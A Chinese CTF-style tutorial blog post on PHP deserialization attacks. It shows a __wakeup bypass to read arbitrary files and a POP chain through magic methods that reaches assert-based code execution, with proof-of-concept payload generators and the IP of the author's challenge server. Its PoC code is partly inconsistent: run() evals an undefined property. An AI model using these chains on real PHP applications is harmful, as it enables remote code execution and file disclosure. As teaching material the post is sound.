0x01 php简单的反序列化

  这题是在网上看到的,原题连接不太了解,但是源码题目给了出来,稍微下文件名和排版在本地测试

<?php
class SoFun{
protected $file='ser.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){
show_source(dirname (__FILE__).'/'.$this ->file);
}
}
else{
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='ser.php';
}
function __toString(){
return '' ;
}
} if(!isset($_GET['file'])){
show_source('ser.php');
}
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file );
}
?>

题目的相关魔术方法调用时机

__destruct()类似于c中的析构函数,在对象被销毁时调用

__toString()在这里没啥用

__wakeup()在进行反序列化的时候调用

__destruct()中读取了文件,最终用它读取flag, __wakeup()把读取的文件的对应变量变成当前文件

__wakeup()在__destruct()前面调用

那么目的是绕过__wakeup()进行__destruct()操作

对应wakeup(),存在以下问题,当序列化的字符串中描述的类的成员个数和 {} 内的成员个数不同的时候不会被调用

首先构造payload

<?php
class SoFun{
protected $file='hello.txt';
public $a = "a";
}
$add = new SoFun;
echo base64_encode(serialize($add));

运行生成base64

先将它base64解码,然后删除{}中a的对应序列(注意:因为protect和private存在不可见字符,所有用base64,或url编码输出)

最终再base64编个码,包含进来即可,我hello.txt文件的内容即之前做题留在上面的文件(所有内容不重要,重要的是漏洞利用>_<)

0x02 PHP反序列化的进一步利用

php反序列化的知识点i春秋上的一篇文件写的非常详细

https://bbs.ichunqiu.com/thread-39169-1-1.html

那么结合最后的typecho的反序列漏洞,模仿着写了一个简易的代码

<?php
class C1{
function __construct($key, $word){
$sijidou = $key . $word;
}
}
class C2{
private $a2;
function __toString(){
echo $this->a2->ying;
return "hello";
}
}
class C3{
private $fun;
private $parm;
function __get($key){
$this->run();
return null;
}
function run(){
call_user_func($this->fun, $this->parm);
}
}
if(isset($_GET['ser'])){
$s = $_GET['ser'];
$arr = unserialize($s);
$class1 = new C1($arr['siji'],$arr['dou']);
}
else{
highlight_file("demo.php");
}
?>

这里是需要构造pop链,来达到最终执行run()方法中的call_user_func()来达到代码执行

构造思路是入口为ser的参数,该参数是数组

ser数组的 "siji" 和 "dou" 两个键值対会被C1的中的__construct调用

该函数把参数当做字符串进行字符串使用,于是可能会调用到C2的__toString魔术方法

__toString方法里面调用了私有成员的方法,因此又可以利用C3的__get魔术方法

而 __get魔术方法会调用到run(),从而达到代码执行

附上我写的poc

<?php
class C1{
function __construct($key, $word){
$sijidou = $key . $word;
}
} class C2{
private $a2;
function __toString(){
$this->a2->ying;
return "hello";
}
function add(){
$this->a2 = new C3();
}
} class C3{
private $fun = "assert";
private $parm = "phpinfo()";
function __get($key){
$this->run();
}
function run(){
eval($this->a3);
}
}
$class2 = new C2();
$class3 = new C3();
$class2->add();
$exp = array('siji' => $class2, 'dou' => 'dou');
echo urlencode(serialize($exp)); ?>

利用成功,成功执行phpinfo

这里自己因为一些原因把该题目挂到了自己的服务器上,大家可以试着找找其中的flag(注:请执行看看phpinfo里面的禁用的函数)

http://134.175.147.161:10007/

php反序列化简叙的更多相关文章

  1. C#学习笔记(1) --简叙.net体系结构

    1 C#与.NET的关系 (1) C#是专门为与Microsoft的.Net Framework一起使用而设计的. (2) C#是一种基于面向对象设计方法的的语言. (3) 需要注意的是,C#就其本身 ...

  2. STL 里面的几个容器简叙

    出处:http://blog.csdn.net/niushuai666/article/details/6654951 list1.list的成员函数push_back()把一个对象放到一个list的 ...

  3. AMD单双桥时序简叙

    芯片组(双桥)时序 VBAT :RTC电路的供电3V(RTC电路有问题会导致没复位或不跑码等故障) RTCCLK :晶振起振给南桥提供32.768KHz频率(RTC电路有问题会导致没复位或不跑码等故障 ...

  4. iOS面试题集锦

    一.前言部分 文中的问题多收集整理自网络,不保证100%准确,还望斟酌采纳. 1.怎样防止指针的越界使用问题? 答案: 1 .防止数组越界,必须让指针指向一个有效的内存地址, 2. 防止向一块内存中拷 ...

  5. 利用窗口引用漏洞和XSS漏洞实现浏览器劫持

    ==Ph4nt0m Security Team==                        Issue 0x03, Phile #0x05 of 0x07 |=----------------- ...

  6. Android SQLite总结[转载]

    [转载] :http://blog.163.com/zqy216_2008/blog/static/4119371820119954812509/ 最近在做的项目涉及到了SQLite,大学时没有好好学 ...

  7. iOS知识点集合--更改(2)

    3.nsmutablearray *a 如果直接赋值 a = @[@"d",@""]; 这个时候a 是不可变的 字典也是如此 2.如果接口调用错误的话 打印re ...

  8. 对称加密之AES加密详解

    最近有人问我AES对称加密是啥,我回答了个大概,发现自己不能清晰的讲出来,特此记录,以供学习 一.对称加密 对称加密是最快速.最简单的一种加密方式,加密(encryption)与解密(decrypti ...

  9. HighCharts基本使用

    一.简叙 HighCharts是一个非常强大的画图插件,在以后的工作汇报,数字展示,它将是一把利器.既然是插件,那么就有它的使用规则,我们只需要遵循它的使用规则,就可以画出我们想要的展示效果了.期待吗 ...

随机推荐

  1. mysql gtid 第一篇

    GTID1 简介   就是全局事务ID(global transaction identifier )2 构成   uuid+transaction_id 3 格式  7a07cd08-ac1b-11 ...

  2. python 错误--UnboundLocalError: local variable '**' referenced before assignment

    val = 9 def test(flag): if flag: val = 1 else: print("test") return val if __name__ == '__ ...

  3. Broadcast的类型

    两种发送方法 1.无序广播 对于多个接收者来说是完全异步的,通常每个接收者都无需等待即可以接收到广播,接收者相互之间不会有影响.对于这种广播,接收者无法终止广播,即无法阻止其他接收者的 接收动作. 消 ...

  4. python中 __name__及__main()__的妙处

    python中 __name__及__main()__的妙处 #hello.pydef sayHello(): str="hello" print(str); if __name_ ...

  5. 如何交叉编译 linux kernel 内核

    Compilation We first need to move the config file by running cp arch/arm/configs/bcmrpi_cutdown_defc ...

  6. vue系列之flex经典案例

    案例分析: 1.中间文字居中 2.文字俩边有横线 横线无法固定宽度,因为在大屏手机上,容易出现Bug,宽度不够,俩边会出现大量空隙 解决办法,使用flex布局(网站链接) 代码: <div cl ...

  7. Java EE 8 来了

      作者 李士窑 发布于 2014年9月2日. 估计阅读时间: 不到一分钟 | 自2013年6月Java EE 7发布以来,Java开发团队在这段时间内一直在规划和搜集下一个大版本Java EE 8带 ...

  8. 获取修改value

    val() 方法,获取和修改有value属性的元素,有value属性的元素有input.botton.select等.相当于JavaScript中的value. <!DOCTYPE html&g ...

  9. A. 【UR #16】破坏发射台

    题解: 首先看n是偶数的 那么就是不需要满足对面这个性质的 这样就可以dp了 f[i][0/1]表示dp到第i位,当前数等于或不等于第一位的方案数 然后显然可以用矩阵优化 再考虑n为奇数 用一样的思路 ...

  10. Unix/Linux中/usr目录的由来

    在Linux系统中,有一个很重要的目录——/usr目录.关于这个目录名称的由来,网上主要有下面几种说法: user的缩写 User Shareable Read-only的缩写 Unix/User S ...